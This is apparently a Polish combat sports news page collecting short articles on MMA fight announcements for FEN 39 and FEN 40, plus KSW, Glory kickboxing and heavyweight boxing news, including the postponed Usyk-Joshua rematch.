W Atalas Arenie szykuje się wielki powrót. Na KSW 70 zobaczymy Daniela Omielańczuka. Były zawodnik UFC w 2009 roku wystąpił na gali KSW 12. Przegrał wtedy w turnieju wagi ciężkiej z Konstantinsem Gluhovsem i Davidem Olivą. W Łodzi Omielańczuk zmierzy się z Ricardo Praselem, który podczas KSW 68 pokonał Michała Kitę.

W Łodzi zobaczymy również m.in. Bartosza Leśko, Radosława Paczuskiego, Anitę Berus, Alberta Odzimkowskiego czy Łukasza Rajewskiego.

Bartnik nowym rywalem Duszy w Ostródzie

Wawrzyniec Bartnik (6-2, 2 KO) będzie nowym rywalem Szymona Duszy (10-7, 8 KO, 1 SUB) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Pojedynek zakontraktowano w limicie kategorii półśredniej.

Dusza w październiku 2019 roku stoczył pasjonujący bój z Kamilem Gniadkiem, którego pokonał przez techniczny nokaut w 3. rundzie. Wcześniej wygrał już w pierwszej minucie, również przez TKO, z innym zawodnikiem WCA, Tymoteuszem Łopaczykiem. Wojownik z Opola podczas swojej ostatniej zwycięskiej walki wygrał w premierowej odsłonie z Rolandem Cambalem, trzy miesiące wcześniej do swojego rekordu dorzucił triumf w pojedynku stoczonym poza organizacją.

Bartnik ma 26 lat i pochodzi z Częstochowy. W swojej zawodowej karierze wygrał sześć pojedynków, z czego dwa przez nokauty. Czerwcowy debiutant w FEN w lutym 2020 roku pokonał na pełnym dystansie Samira Kadiego. Trzy miesiące wcześniej niejednogłośną decyzją sędziów uporał się z Adrianem Dudkiem. W 3. rundzie przez TKO Bartnik pokonał Dawida Kosiorka. We wrześniu 2021 roku częstochowianin przegrał na punkty z Alexem Solą.

FEN 40: Stachura z Filipiakiem pierwszym pojedynkiem semi-pro w Ostródzie

Oskar Stachura podejmie Oliwiera Filipiaka podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Pojedynek na zasadach semi-pro zakontraktowano w limicie kategorii piórkowej.

Oskar Stachura to młody zawodnik trenujacy w Bebson Team Bielawa. Jego głównym trener jest Sławomir Grabowski, który jest czarnym pasem BJJ. Stachura jest mistrzem europy ALMMA z 2021 roku i posiada amatorski rekord 9-1. Oskar jest też klubowym kolegą czołowego zawodnika FEN – Mariusza Joniaka.

Oliwier Filipiak to zawodnik Grappling Grudziądz posiadający amatorski rekord 8-1. Filipiak ma doświadczenie w walkach semi-pro, ponieważ występował na galach FSC, Krwawym Sporcie czy Babilon MMA, na której odniósł porażkę z Hubertem Wybierałą. Zawodnik grupy PAPAJ Management posiada purpurowy pas BJJ i jest brązowym medalistą mistrzostw Europy ALMMA

Pojedynki semi-pro w MMA odbywają się na dystansie 3 rund po 3 minuty każda.

– nie można używać łokci

– nie można uderzać kolanem w głowę

– nie można używać “skrętówek”

FEN 40: Jędraszczyk rywalem Zielińskiego w Ostródzie

Adrian Zieliński (21-11, 7 KO, 6 SUB) podejmie Jacka Jędraszczyka (8-3, 3 KO) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr. Pojedynek zakontraktowano w limicie kategorii półśredniej.

Zieliński w swoim debiucie w kategorii półśredniej pokonał na pełnym dystansie Szymona Duszę. Wojownik z Olsztyna po raz pierwszy w organizacji zawalczył w marcu 2019 roku, gdy w 1. rundzie przez techniczny nokaut rozprawił się z Kamilem Łebkowskim. Chwilę później został mistrzem FEN w kategorii piórkowej, gdy pokonał Fabiano Silvę. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Przed rokiem w Ostródzie podczas gali FEN 29 pokonał efektownie przez techniczny nokaut w premierowej odsłonie byłego zawodnika UFC, Danilo Belluardo.

Jędraszczyk wygrał swój ostatni pojedynek zwyciężając w 2. rundzie z Patrykiem Bogdanem podczas gali FEN 39 w Ostrowie Wielkopolskim. Wcześniej, podczas gali FEN 27, znokautował w 2. rundzie Samuela Vogta posyłając go na deski prawym prostym. W przeszłości na pełnym dystansie pokonał jednogłośną decyzją arbitrów Cezarego Oleksiejczuka. Jędraszczyk stoczył pasjonujący bój z Tymoteuszem Łopaczykiem podczas FEN 21, a walka ta została uznana jedną z najlepszych w całym 2018 roku. Spod jego ręki pierwszą zawodową porażkę zanotował również Mateusz Głąb.

Klinger nowym rywalem Janusza w Ostródzie

Łukasz Klinger (10-6, 4 KO, 5 SUB) będzie rywalem Wojciecha Janusza (11-7, 3 KO, 5 SUB) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr.

Bilety na FEN 40 w Ostródzie można kupić na EVENTIM.

Klinger ma 39 lat i pochodzi z Przemyśla. Ostatni swój pojedynek zakończył zwycięstwem – w 1. odsłonie poddany został przez niego Romek Sik. Wcześniej zwyciężył z Adamem Biegańskim, gdyż rywal został zdyskwalifikowany za nielegalne kopnięcie. W 2017 roku rozprawił się z Kevinem Wiwatowskim czy chociażby Andrewem Clampem. Mieszkający na co dzień na Wyspach Brytyjskich zawodnik z przytupem rozpoczął swoją zawodową karierę i wygrał aż 7 pojedynków z rzędu. W pokonanym polu zostawił chociażby Adama Oknińskiego, którego pokonał przez techniczny nokaut. Podczas swojego debiutu w FEN Klinger przegrał z Kamilem Wojciechowskim

Janusz wygrał w swojej ostatniej walce pokonując w 1. rundzie przez poddanie Damiana Skarżyńskiego. W styczniu 2020 roku stoczył znakomity bój z Adamem Kowalskim, który został nagrodzony bonusem za najlepszą walkę gali FEN 27. Wcześniej zanotował serię czterech zwycięstw z rzędu. Ze znakomitej strony zawodnik Berserkers Team Szczecin pokazał się podczas gali FEN 25, gdy znokautował Michała Gutowskiego w 1. rundzie. Zawodnik ze Szczecina stoczył w swojej karierze trzyrundowe boje z Michałem Oleksiejczukiem i Marcinem Wójcikiem. Podczas 30. edycji szybko, bo w 1. rundzie, ponownie rozprawił się z Gutowskim, którego poddał. W lutym 2021 roku po bardzo mocnej walce przegrał na punkty z Marcinem Łazarzem.

FEN 40: Gorshechnik rywalem Formeli w walce mistrzowskiej

Alexander Gorshechnik (18-5, 7 KO, 3 SUB) podejmie Kacpra Formelę (13-4, 5 KO, 3 SUB) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr. Będzie to pierwsza obrona tytułu mistrzowskiego w kategorii piórkowej zawodnika z północy Polski.

Bilety na FEN 40 w Ostródzie można kupić na EVENTIM.

Gorshechnik ma 26 lat i pochodzi z Ukrainy. W swoim debiucie w FEN, podczas gali z nr 35, pokonał na pełnym dystansie Adriana Zielińskiego. Później zanotował dwa zwycięstwa poza organizacją dwukrotnie kończąc walki przed czasem. W marcu 2021 roku jednogłośną decyzją sędziów rozprawił się z Mykhailo Shabliią, w lipcu 2020 roku w 1. rundzie dzięki ciosom w parterze uporał się z Ivanem Ratsem. W 2017 roku Gorshechnik pokonał przez techniczny nokaut Maxima Maryanchuka, trzy miesiące wcześniej na dystansie 15 minut zdominował Nikolaia Kuznetsova.

Formela to mistrz FEN w kategorii piórkowej – podczas FEN 39 pokonał w 1. rundzie przez TKO Nicolaę Hentea. Ze znakomitej strony pokazał się kibicom FEN podczas gali z numerem 29, gdy znokautował w bardzo widowiskowy sposób doświadczonego Kamila Łebkowskiego i zgarnął za to bonus od federacji. Pod koniec 2020 roku pokonał na pełnym dystansie Edgara Davalosa. Podczas FEN 33 na pełnym dystansie rozprawił się jednogłośną decyzją sędziów z Damianem Frankiewiczem. W grudniu 2018 roku Formela podczas gali RWC 1 decyzją sędziów zwyciężył z Sebastianem Rajewskim. Wcześniej w 1. odsłonie znokautował Adama Brzezowskiego. W debiucie na FEN przegrał minimalnie decyzją sędziów z Łukaszem Charzewskim. Ten bój został wybrany najlepszym pojedynkiem podczas całej gali.

Starcie debiutantów – Hrehorowicz podejmie Lazara w Ostródzie

Dariusz Hrehorowicz (0-0) podejmie Adama Lazara (0-0) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr. Pojedynek zakontraktowano w limicie kategorii średniej.

Hrehorowicz to zawodnik pochodzący z Lidzbarka Warmińskiego. W karierze amatorskiej stoczył trzy pojedynki – dwa z nich wygrał. W pokonanym polu zostawił Bartłomieja Arnistę i Tomasza Kamińskiego. Lazar to natomiast wojownik najlepiej czujący się w konfrontacji w stójce – w 2021 roku stoczył trzy starcia w formule na gołe pięści. Przed czasem wygrał z Krystianem Cieślikiem, decyzją sędziów uległ Piotrowi Samełko.

Starcie na szczycie podczas FEN 40

Mariusz Joniak (9-4, 1 KO, 7 SUB) podejmie Sebastiana Romanowskiego (14-9-1, 4 KO, 2 SUB) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr. Limit wagowy tego pojedynku do 63 kilogramy.

Bilety na FEN 40 w Ostródzie można kupić na EVENTIM.

Joniak w swoim ostatnim występie w FEN, podczas edycji z numerem 38, w spektakularny sposób znokautował Lukasa Chotenovskiego, za co został nagrodzony bonusem za najlepszy nokaut wieczoru. Podczas debiutu w organizacji na pełnym dystansie pokonał Oleksija Polischuka. 3 października 2020 roku zwyciężył swój drugi pojedynek pod szyldem FEN, kiedy wygrał z Rafałem Statkiewiczem. Ostatnim jego startem w FEN była czerwcowa walka w Ostródzie, którą zwyciężył już w premierowej odsłonie. Przed występami w FEN w sierpniu 2019 roku Joniak pokazał się ze znakomitej strony i pewnie pokonał Piotra Olszynkę. Dokładnie w ten sam sposób, techniką „północ-południe”, rozprawił się dwa lata wcześniej z Aleksanderem Kellerem.

Romanowski udanie przywitał się z federacją podczas gali FEN 27, gdy pokonał na pełnym dystansie Limę Diasa. Wojownik z zachodniego pomorza to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób mierzyć się z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka. Romanowski w ostatnim stoczonym pojedynku przegrał w walce mistrzowskiej z Jonasem Magardem.

Biegański rywalem Janusza w ostródzkim Amfiteatrze

Adam Biegański (7-4, 2 KO, 3 SUB) podejmie Wojciecha Janusza (11-7, 3 KO, 5 SUB) podczas gali FEN 40, która 18 czerwca odbędzie się w Ostródzie. Areną zmagań wojowników będzie Amfiteatr.

Biegański ma 29 lat i pochodzi z Białegostoku. Z 7 zawodowych zwycięskich walk 5 wygrał przed czasem dwukrotnie nokautując swoich rywali i trzykrotnie ich poddając. W ostatnim starciu, w październiku 2020 roku, wygrał decyzją sędziów z Arkadiuszem Maziakowskim. Wcześniej zwyciężył z Krzysztofem Pietraszkiem czy chociażby znanym z klatki FEN Piotrem Walawskim. Wiking 18 czerwca zadebiutuje w FEN.

Janusz wygrał w swojej ostatniej walce pokonując w 1. rundzie przez poddanie Damiana Skarżyńskiego. W styczniu 2020 roku stoczył znakomity bój z Adamem Kowalskim, który został nagrodzony bonusem za najlepszą walkę gali FEN 27. Wcześniej zanotował serię czterech zwycięstw z rzędu. Ze znakomitej strony zawodnik Berserkers Team Szczecin pokazał się podczas gali FEN 25, gdy znokautował Michała Gutowskiego w 1. rundzie. Zawodnik ze Szczecina stoczył w swojej karierze trzyrundowe boje z Michałem Oleksiejczukiem i Marcinem Wójcikiem. Podczas 30. edycji szybko, bo w 1. rundzie, ponownie rozprawił się z Gutowskim, którego poddał. W lutym 2021 roku po bardzo mocnej walce przegrał na punkty z Marcinem Łazarzem.

Skandal podczas Gali Glory 80

Niestety w wyniku poza sportowych wydarzeń gala GLORY Kickboxing 80 w walce Arkadiusz Wrzosek vs Badr Hari została przerwana po drugiej rundzie. Walkę dobrze rozpoczął Arek od wielu prostych i low kicków, jednak z minuty na minutę Badr Hari zaczął przejmować inicjatywę. Walka zaczęła przypominać pierwsze starcie kickboxerów. Arek mądrze się bronił i co jakiś czas skutecznie kontrował swojego przeciwnika efektem czego Badr Hari w drugiej rundzie był liczony po latającym kolanie Arka Wrzoska. Do starć kibiców doszło w przerwie między 2 i 3 rundą. Oba team-y uspokajały swoich kibiców Arek również, Badr Hari dwuznacznie wymachiwał w kierunku swoich kibiców i krzyczał czego nie zdąrzył zdjąć z wizji realizator. Organizatorzy zdecydowali o przerwaniu walki.

Arkadiusz Wrzosek vs Badr Hari 2 | Glory 80

Gala Glory 80 odbędzie się w Belgii w Hasselt już 19 marca 2022 r.. Wka wieczoru to wielki rewanż Arkdiusz Wrzosek vs Badr Hari. Pierwsza walka obu fighterów miala miejsce podczas Glory 78 w Rotterdamie. Hari pomimo, że dominował w starciu z Arkiem przegrał walke przez KO po pieknym high kick.

Arkadiusz Wrzosek (14-5, 9 KO) ma trzy wygrane walki z rzędu. Oprócz znokautowania Hariego w drugiej rundzie, pokonał także Demoreo Dennisa i Patricka Schmida odpowiednio w 2 i 5 rundzie walki.

Badr Hari (106-16, 92 KO), który niedawno podpisał nowy kontrakt z organizacją Glory, podczas marcowej gali będzie chciał odnieść pierwsze zwycięstwo od 2015 roku. Jego poprzednie walki z Wrzoskiem, Benjaminem Adegbuyi i Rico Verhoevenem kończyły się przed czasem mimo, że Hari do czasu przerwania walk prowadził.

FEN 39 – Karta walk

KARTA WALK FEN 39:

120,2: Oli Thompson vs. Michał Andryszak*
65,8: Kacper Formela vs. Nicolae Hantea*
93,0: Marcin Wójcik vs. Paweł Hadaś
96,0: Bartosz Szewczyk vs. Ezequiel Braz Silvino
68,0: Łukasz Charzewski vs. Matheus Pereira
83,9: Robert Bryczek vs. Robson Silas
70,3: Krzysztof Dobrzyński vs. Patryk Duński
82.0: Mansur Abdurzakov vs. Kacper Bróździak

*walka o pas mistrzowski FEN

FEN 39: Bróździak rywalem Abdurzakova w umownym limicie wagowym

Kacper Bróździak (4-2, 3 SUB) będzie rywalem Mansura Abdurzakova (5-3, 1 KO, 3 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie umownym do 82 kilogramów.

Bilety na galę FEN 39 – TUTAJ.

Bróździak to 27-letni zawodnik trenujący w klubie Mighty Bulls Gdynia. W ostatnim zwycięskim pojedynku pokonał jednogłośną decyzją sędziów Oskara Herczyka, wcześniej podczas gali RWC 3 poddał duszeniem gilotynowym Łukasza Góreckiego. W swojej pierwszej zawodowej walce pochodzący z Tczewa wojownik również gilotyną skończył pojedynek z Filipem Peplińskim. Później poddał Mateusza Makarowskiego duszeniem zza pleców. Bróździak 12 marca zadebiutuje w FEN.

Abdurzakov wygrał swój ostatni pojedynek – jednogłośną decyzją sędziów pokonał Maxa Handanagica. Wcześniej miał okazję dwukrotnie walczyć pod szyldem FEN – podczas 30. edycji na punkty przegrał z Łukaszem Charzewskim. Wcześniej w swojej karierze czterokrotnie zwyciężał trzykrotnie poddając rywali i raz nokautując przeciwnika. W pokonanym polu zostawiał między innymi Adriana Kępę i Artura Pawlika. „Borz” w Ząbkach po raz pierwszy w FEN zawalczy w limicie kategorii półśredniej.

Karta walk FEN 39:

120,2: Oli Thompson vs. Michał Andryszak*
65,8: Kacper Formela vs. Nicolae Hantea*
93,0: Marcin Wójcik vs. Paweł Hadaś
96,0: Bartosz Szewczyk vs. Ezequiel Braz Silvino
68,0: Łukasz Charzewski vs. Matheus Pereira
83,9: Robert Bryczek vs. Robson Silas
70,3: Krzysztof Dobrzyński vs. Patryk Duński
82.0: Mansur Abdurzakov vs. Kacper Bróździak

*walka o pas mistrzowski FEN

Hantea nowym rywalem Formeli w walce o pas mistrzowski w kategorii piórkowej

Nicolae Hantea (5-1, 1 KO, 3 SUB) podejmie Kacpra Formelę (12-4, 4 KO, 3 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Stawką tego pojedynku będzie pas mistrzowski FEN w kategorii piórkowej.

Bilety na galę FEN 39 – TUTAJ.

Hantea to niespełna 22-letni zawodnik pochodzący z Mołdawii, który może pochwalić się pięcioma zawodowymi zwycięstwami na koncie. W ostatnim pojedynku zwyciężył niejednogłośną decyzją sędziów z Kirillem Tropininem, wcześniej przez techniczny nokaut w 3. rundzie wygrał z Ciprianem Marisem. Trzy pierwsze zwycięstwa Hantea odniósł przez poddania – wygrał dwukrotnie w 2. rundzie i raz w premierowej odsłonie.

Formela w ostatnim pojedynku w FEN zwyciężył na pełnym dystansie z Damianem Frankiewiczem. Wojownik z Pomorza ze znakomitej strony pokazał się kibicom FEN podczas gali z numerem 29, gdy znokautował w bardzo widowiskowy sposób doświadczonego Kamila Łebkowskiego i zgarnął za to bonus od federacji. Pod koniec 2020 roku pokonał na pełnym dystansie Edgara Davalosa. Spośród 11 zwycięstw zawodnik trenujący w Mighty Bulls Gdynia 7 zakończył przed czasem trzykrotnie poddając swoich przeciwników i czterokrotnie ich nokautując. W grudniu 2018 roku Formela podczas gali RWC 1 decyzją sędziów zwyciężył z Sebastianem Rajewskim. Wcześniej w 1. odsłonie znokautował Adama Brzezowskiego. W debiucie na FEN przegrał minimalnie decyzją sędziów z Łukaszem Charzewskim. Ten bój został wybrany najlepszym pojedynkiem podczas całej gali.

Karta walk FEN 39:

120,2: Oli Thompson vs. Michał Andryszak*
65,8: Kacper Formela vs. Nicolae Hantea*
93,0: Marcin Wójcik vs. Paweł Hadaś
96,0: Bartosz Szewczyk vs. Ezequiel Braz Silvino
68,0: Łukasz Charzewski vs. Matheus Pereira
83,9: Robert Bryczek vs. Robson Silas
70,3: Krzysztof Dobrzyński vs. Patryk Duński
77,1: Mansur Abdurzakov vs. Alaa Mansour
*walka o pas mistrzowski FEN

FEN 39: Silvino nowym rywalem Szewczyka

Ezequiel Braz Silvino (6-1, 4 KO, 2 SUB) będzie rywalem Bartosza Szewczyka (3-1, 2 KO, 1 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie umownym do 96 kilogramów. Giorgi Kvelidze nie wystąpi na FEN 39 z powodu kontuzji.

Silvino wszystkie 6 wygranych pojedynków zakończył przed czasem czterokrotnie nokautując i dwukrotnie poddając swoich rywali. W swoim ostatnim starcie znokautował w 2. rundzie Paco Esteveza, w premierowej odsłonie rozprawił się rok wcześniej z Boubacarem Balde. Pojedynek w Ząbkach będzie jego debiutem pod szyldem FEN.

Szewczyk swoje cztery dotychczasowe walki na zawodowstwie stoczył na galach FEN. Podczas 32. edycji pokonał w 2. rundzie przez duszenie zza pleców Akhmeda Salomova. W Ostródzie, podczas FEN 35, w premierowej odsłonie rozprawił się przez techniczny nokaut z Kacprem Miklaszem. W Szczecinie znokautował Michała Piwowarskiego podczas FEN 36. W karierze amatorskiej mierzył się z innych zawodnikiem FEN, Krystianem Bielskim, oraz z Piotrem Mierzejewskim, którego poddał w 2. rundzie duszeniem zza pleców. Łączny jego bilans w amatorstwie to 6 zwycięstw i 2 porażki.

FEN 39: Arkadiy Osipyan nie wystąpi w Ząbkach

Informujemy, że Arkadiy Osipyan nie wystąpi 12 marca w Ząbkach podczas gali FEN 39: LOTOS Fight Night. Zawodnik miał skrzyżować rękawice z Kacprem Formelą, a stawką tego pojedynku miał być pas mistrzowski FEN w kategorii piórkowej.

„Arkadiy podpisał z nami kontrakt na mocy którego stoczył już walkę na naszej gali – podczas FEN 37 zmierzył się z Mateuszem Rębeckim. Zawodnik wychodził do klatki pod flagą Armenii, ale wiedzieliśmy, że urodził się w Rosji i trenuje w Moskwie. Zawodnik identyfikuje się z Armenią, ale nie ma obywatelstwa ormiańskiego. Legitymuje się tylko rosyjskim paszportem. Stąd jego walka na naszej gali jest niemożliwa. Sytuacja ma oczywiście związek z atakami Rosji na Ukrainę, którym federacja FEN jest przeciwna” – powiedział Prezes FEN, Paweł Jóźwiak.

FEN 39: Brazylijski król skończeń, Silas Robson, rywalem Bryczka

Robert Bryczek (12-5, 6 KO, 1 SUB) podejmie Silasa Robsona (12-7, 8 KO, 4 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie kategorii średniej.

Bryczek to były mistrz FEN w kategorii półśredniej. W walce o tytuł pokonał przez techniczny nokaut w 5. rundzie Virgiliu Frasineaca. Wcześniej znokautował w premierowej odsłonie Jacka Jędraszczyka podczas FEN 29. Bryczek od listopada 2013 roku do czerwca 2019 roku miał serię 7 kolejnych zwycięskich pojedynków. W 2016 roku decyzją sędziów wygrał z Grzegorzem Siwym. Później, również na pełnym dystansie, pokonał Artura Kamińskiego i Mate Kertesza. Bryczek po raz pierwszy w FEN zmierzy się w limicie kategorii średniej.

Robson to 35-letni Brazylijczyk, który od 2011 roku przebywa na zawodowstwie. Spośród 12 swoich wygranych walk wszystkie zakończył przed czasem ośmiokrotnie nokautując rywali i czterokrotnie ich poddając. Ostatni pojedynek zakończył w 2. odsłonie, kiedy to wygrał z Robertem Vorobyovem. Wcześniej do drugiego starcia nie wypuścił Rodrigo de Sousy. Robson osiem razy kończył swoje pojedynki w pierwszych pięciu minutach starcia.

Hadaś nowym rywalem Wójcika podczas FEN 39

Marcin Wójcik (14-8, 7 KO, 3 SUB) podejmie Edera de Souzę (19-8, 7 KO, 4 SUB) podczas gali FEN 39: LOTOS Fight Night, która odbędzie się 12 marca w Ząbkach. Będzie to pierwsza obrona tytułu mistrzowskiego Brazylijczyka i rewanż za pojedynek podczas FEN 36.

Eder De Souza poddał Wójcika w 2. rundzie podczas swojego debiutu pod szyldem organizacji. Wcześniej ze znakomitej strony pokazał się podczas gali Seaside BattleS Dziwnów, gdy już w 1. rundzie pokonał Wojciecha Janusza. „Bambu” spośród 19 zwycięskich pojedynków aż 17 skończył przed czasem dziesięciokrotnie poddając swoich rywali. Souza w 2019 roku stoczył dwa pojedynki i oba wygrał – w pierwszym z nich już w premierowej odsłonie znokautował Santosa Gomesa, w drugim poddał Askara Mozharova.

Wójcik był mistrzem FEN od listopada 2020 roku, kiedy to pokonał przez techniczny nokaut Adama Kowalskiego. Wcześniej rozbił, w ten sam sposób, Rafała Kijańczuka w drugiej odsłonie walki. Podczas swojej pierwszej przygody w FEN, podczas gali FEN 8, już w 1. rundzie po jego popisowej akcji i poddaniu skapitulował Krzysztof Pietraszek. „The Giant” chwilę później, podczas 9. edycji, na pełnym dystansie pokonał Wojciecha Janusza. Przed ponownym dołączeniem do organizacji Wójcik znokautował Michała Gutowskiego. Sposobu na pokonanie Wójcika na przestrzeni całej, bogatej w sukcesy karierze, nie znaleźli między innymi Tomasz Kondraciuk, Michał Fijałka i Marcin Łazarz.

FEN 39: Szewczyk i Charzewski poznali rywali

FEN 39: Kvelidze rywalem Szewczyka w powrocie Polaka do kategorii półciężkiej

Giorgi Kvelidze (9-4, 2 KO, 3 SUB) będzie rywalem Bartosza Szewczyka (3-1, 2 KO, 1 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie kategorii półciężkiej.

Szewczyk swoje cztery dotychczasowe walki na zawodowstwie stoczył na galach FEN. Podczas 32. edycji pokonał w 2. rundzie przez duszenie zza pleców Akhmeda Salomova. W Ostródzie, podczas FEN 35, w premierowej odsłonie rozprawił się przez techniczny nokaut z Kacprem Miklaszem. W Szczecinie znokautował Michała Piwowarskiego podczas FEN 36. W karierze amatorskiej mierzył się z innych zawodnikiem FEN, Krystianem Bielskim, oraz z Piotrem Mierzejewskim, którego poddał w 2. rundzie duszeniem zza pleców. Łączny jego bilans w amatorstwie to 6 zwycięstw i 2 porażki.

Kvelidze ma 36 lat i pochodzi z Gruzji. W swoim ostatnim pojedynku wygrał przez duszenie trójkątem z Sergiejem Kazakovem, wcześniej w 3. rundzie zwyciężył przez nokaut z Firuzem Usanutdinovem. Gruzin pięciokrotnie w karierze pokonywał swoich przeciwników przed czasem dwukrotnie ich nokautując. W 3. odsłonie pojedynku przez TKO zwyciężył z Alirezą Saberi, dwa miesiące wcześniej tego samego przeciwnika poddał duszeniem zza pleców. Walka na FEN 39 będzie jego pierwszym występem pod szyldem FEN.

FEN 39: Specjalista od poddań, Matheus Morais, rywalem Charzewskiego

Matheus Pereira (11-5, 10 SUB) podejmie Łukasza Charzewskiego (10-1, 2 KO, 2 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie do 68 kilogramów.

Charzewski jest rozpędzony czterema zwycięstwami, które zanotował w federacji FEN. Po poddaniu Łukasza Bieńka i wypunktowaniu Krystiana Blezienia o umiejętnościach Harry’ego przekonał się Kacper Formela, który przegrał z nim na dystansie trzech rund podczas gali FEN 28. Pojedynek ten został nagrodzony bonusem za najlepsze starcie całego wydarzenia. Ostatnim razem kibice mieli okazję oglądać wojownika z Dolnego Śląska we Wrocławiu przy okazji gali FEN 30. Wtedy do zawodnik z Kamiennej Góry pokonał na pełnym dystansie Mansura Abdurzakova.

Pereira to król parteru. Z 11 zawodowych pojedynków 10 wygrał przez poddania swoich rywali. Podczas swojej ostatniej walki wygrał na pełnym dystansie z Martinem Camilo, wcześniej duszeniem zza pleców poddał w 3. odsłonie walki Luana Pedroso. „Pelezinho” techniką mataleo poddał swoich rywali w karierze aż sześciokrotnie. Występ w Polsce będzie jego debiutem w organizacji FEN.

FEN 39: Abdurzakov podejmie Alaa Manssoura w Ząbkach

Mansur Abdurzakov (5-3, 1 KO, 3 SUB) podejmie Alaa Manssoura (10-3, 6 KO, 1 SUB) podczas gali FEN 39: LOTOS Fight Night, która 12 marca odbędzie się w Ząbkach. Pojedynek zakontraktowano w limicie kategorii półśredniej.

Abdurzakov wygrał swój ostatni pojedynek – jednogłośną decyzją sędziów pokonał Maxa Handanagica. Wcześniej miał okazję dwukrotnie walczyć pod szyldem FEN – podczas 30. edycji na punkty przegrał z Łukaszem Charzewskim. Wcześniej w swojej karierze czterokrotnie zwyciężał trzykrotnie poddając rywali i raz nokautując przeciwnika. W pokonanym polu zostawiał między innymi Adriana Kępę i Artura Pawlika. „Borz” w Ząbkach po raz pierwszy w FEN zawalczy w limicie kategorii półśredniej.

Mansour na zawodowstwie przebywa od 2011 roku i stoczył jak do tej pory 13 pojedynków, z których 10 wygrał sześciokrotnie nokautując swoich rywali i raz poddając przeciwnika. W 2020 roku w pokonanym polu zostawił Mohammada Ratib Al Khatiba, wcześniej poddał w 2. rundzie Oleksiija Pasyuga. „Thor” pochodzi z Egiptu, ale ma ukraińskie obywatelstwo. Pojedynek na FEN 39 będzie jego debiutem w FEN.

Rewanż odłożony na później?

Wiadomo, że fani boksu czekają na rewanżowe starcie Anthony’ego Joshuy z Aleksandrem Usykiem. Pojedynek odbędzie się w późniejszym terminie niż planowano.

Kolejny pojedynek na szczycie wagi ciężkiej. Dwaj wspaniali bokserzy mieli stanąć naprzeciw siebie w maju, jednak zapewne termin zostanie przesunięty. Wszystko za sprawą trwającej wojny na Ukrainie. Usyk broni swojego kraju i walczy jako żołnierz wojsk obrony terytorialnej.

Postawa mistrza świata budzi ogromne uznanie. Usyk wykazał się prawdziwym patriotyzmem i odłożył wszystkie sprawy na bok. Stanął w obronie swojej ojczyzny. Sytuacja ta spotkała się z pełnym zrozumieniem ze strony Joshuy. Ten wspiera rywala i jego kraj. Sam Usyk podkreśla, że teraz najważniejsza jest jego ojczyzna.

Wstępnie mówiło się, że do walki Joshuy i Ustka dojdzie 21 maja. Teraz wydaje się, że optymalny jest czerwiec, jednak trudno jednoznacznie to określić. Niewykluczony jest również późniejszy termin. Do pojedynku miałoby dojść na jednym ze stadionów na Wyspach Brytyjskich.

Mistrz

Po raz pierwszy pięściarze spotkali się 25 września 2021 roku w Londynie. Dla Usyka, który zdominował kategorię junior ciężką było to trzecie starcie w wadze ciężkiej.  Wcześniej Ukrainiec pokonał Chazza Wiherspoona, a następnie Derecka Chisorę.

We wrześniu 2021 roku Ukrainiec sprawił niespodziankę i odebrał pasy mistrzowskie należące dla Joshuy. Sędziowie byli jednomyślni – 117:112, 116:112:, 115:113. Pasy WBA, WBO i IBF trafiły do Usyka. Dla Ukraińca była to 19 wygrana w karierze. Z kolei Joshua poniósł drugą porażkę na przestrzeni dwóch lat. Wcześniej przegrał w czerwcu 2019 roku z Andy’m Ruizem Jr. Stracił pasy, ale odzyskał je pół roku później. Potem pokonał Kubrata Pulewa, ale Usyk okazał się przeszkodą nie do przejścia. Brytyjczyk postanowił jednak skorzystać z sposobności do rewanżu.

Starcie o pas WBC

23 kwietnia na stadionie Wembley dojdzie do innego ciekawego starcia w wadze ciężkiej. Tyson Fury zmierzy się z Dillianem Whyte’m, a jego stawką będzie pas WBC. Wystarczyły trzy godziny, aby 85 tysięcy wejściówek na galę rozeszło się.

Fot. Александр Усик / Usyk Facebook

Skandaliczne zachowanie Powietkina! Wyraził wsparcie dla wojny

Wojna na Ukrainie jest ogromnym dramatem. Są tacy, którzy widzą słuszne działanie w rosyjskiej agresji. Zalicza się do nich były pięściarz Aleksander Powietkin.

 

